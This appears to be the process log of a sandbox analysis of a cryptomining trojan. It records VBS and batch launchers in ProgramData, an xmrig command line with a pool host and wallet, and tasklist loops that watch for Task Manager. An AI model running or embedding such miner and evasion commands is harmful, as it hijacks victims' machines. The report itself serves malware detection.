Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Drivers\process.bat" " | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\ProgramData\Drivers\xmrig.exe xmrig.exe --donate-level 5 -o pool.supportxmr.com:443 -u 49LzTohDTP4MAvjfeeKB7pecfkp8MppQKZu5yjawPHfH2aJFbLhgV459XX9y3qoAmjJvxiewcw2bK2toFoMVEAQSLB878rm -k --tls -p speed | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\wscript.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Drivers\watch.bat" " | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | |
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.BtcMine.3725.7973.8724.exe | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\winproc.vbs" | Jump to behavior |
Source: C:\Windows\System32\wscript.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Drivers\watch.bat" " | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\1.vbs" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\winproc.vbs" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
